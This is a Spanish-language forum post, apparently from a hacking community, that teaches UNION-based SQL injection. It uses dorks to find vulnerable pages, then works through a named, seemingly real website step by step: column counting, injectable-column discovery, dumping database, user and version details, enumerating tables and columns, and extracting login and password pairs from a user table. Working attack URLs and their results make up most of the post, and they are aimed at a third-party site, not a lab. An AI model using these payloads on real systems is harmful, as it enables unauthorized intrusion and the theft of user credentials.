
Saludos comunidad, hace tiempos que no publicó nada por aquí, espero que sea de su agrado.
0x1: Concepto:
Una Inyección SQL es una vulnerabilidad centrada en consultas hacia la base de datos, suele suceder cuando se inyecta una variable de consultas desde una identidad hacia la base de datos y asi obtener directamente información del usuario administrador, todas las tablas y columnas de la web.
El operador UNION se utiliza en las inyecciones SQL para unirse a una consulta, deliberadamente forjada por el consultor, a la consulta original. El resultado de la consulta realizada se unirá al resultado de la consulta original, permitiendo que el consultor obtener los valores de los campos de otras tablas.
0x2: Encontrar una página web vulnerable:
Para encontrar nuestra página vulnerable utilizaremos algunos dorks.
Código: Seleccionar todo
news.php?ID=
product.php?ID=
content.php?ID=
index.php?ID=
Código: Seleccionar todo
http://www.cecit.ma/news.php?id=44'

Como podemos observar es vulnerable.
0x3: Encontrar el número de columnas
Para encontrar el número de columnas utilizaremos la cláusula ORDER BY.
Código: Seleccionar todo
http://www.cecit.ma/news.php?id=44 ORDER BY 1-- [ No Hay Error ]
http://www.cecit.ma/news.php?id=44 ORDER BY 2-- [ No Hay Error ]
http://www.cecit.ma/news.php?id=44 ORDER BY 3-- [ No Hay Error ]
http://www.cecit.ma/news.php?id=44 ORDER BY 4-- [ No Hay Error ]
http://www.cecit.ma/news.php?id=44 ORDER BY 5-- [ No Hay Error ]
http://www.cecit.ma/news.php?id=44 ORDER BY 6-- [ No Hay Error ]
http://www.cecit.ma/news.php?id=44 ORDER BY 7-- [ No Hay Error ]
http://www.cecit.ma/news.php?id=44 ORDER BY 8-- [ No Hay Error ]
http://www.cecit.ma/news.php?id=44 ORDER BY 9-- [ No Hay Error ]
http://www.cecit.ma/news.php?id=44 ORDER BY 10-- [ Error ]

Esto quiere decir que la columna 10 no existe, solo existen 9.
0x4: Encontrar la columna vulnerable
Ahora debemos ejecutar la instrucción UNION SELECT
Código: Seleccionar todo
http://www.cecit.ma/news.php?id=44 UNION SELECT 1,2,3,4,5,6,7,8,9--

Como podemos ver 4 y 5 son las columnas vulnerables...
0x5: Recopilación de Información: Nombre de la base de datos, Usuario actual, Versión SQL.
Reemplazamos el número 5 por: concat(database(),0x3a,user(),0x3a,version())
Código: Seleccionar todo
http://www.cecit.ma/news.php?id=44 UNION SELECT 1,2,3,4,concat(database(),0x3a,user(),0x3a,version()),6,7,8,9--

Database Name : cecit_db_camara
Current User : cecit_camara@localhost
SQL Version : 5.5.32
0x6: Encontrar el nombre de las Tablas:
Para encontrar los nombres de tablas, usaremos la siguiente la sintaxis:
Código: Seleccionar todo
http://www.cecit.ma/news.php?id=44 UNION SELECT 1,2,3,group_concat(table_name),5,6,7,8,9 FROM information_schema.tables WHERE table_schema=database()--

0x7: Encontrar el nombre de las columnas en el nombre de las tablas:
Para encontrar los nombres de columnas, usaremos la siguiente la sintaxis:
Código: Seleccionar todo
http://www.cecit.ma/news.php?id=44 UNION SELECT 1,2,3,group_concat(column_name),5,6,7,8,9 FROM information_schema.columns WHERE table_name = 0x7574696c69736174657572
0x8: Extraer Username y Passwords:
Para extraer Username y Passwords, usaremos la siguiente la sintaxis:
Código: Seleccionar todo
http://www.cecit.ma/news.php?id=44 UNION SELECT 1,2,3,group_concat(login,0x3a,password),5,6,7,8,9 FROM utilisateur--+

Bytes. :toma: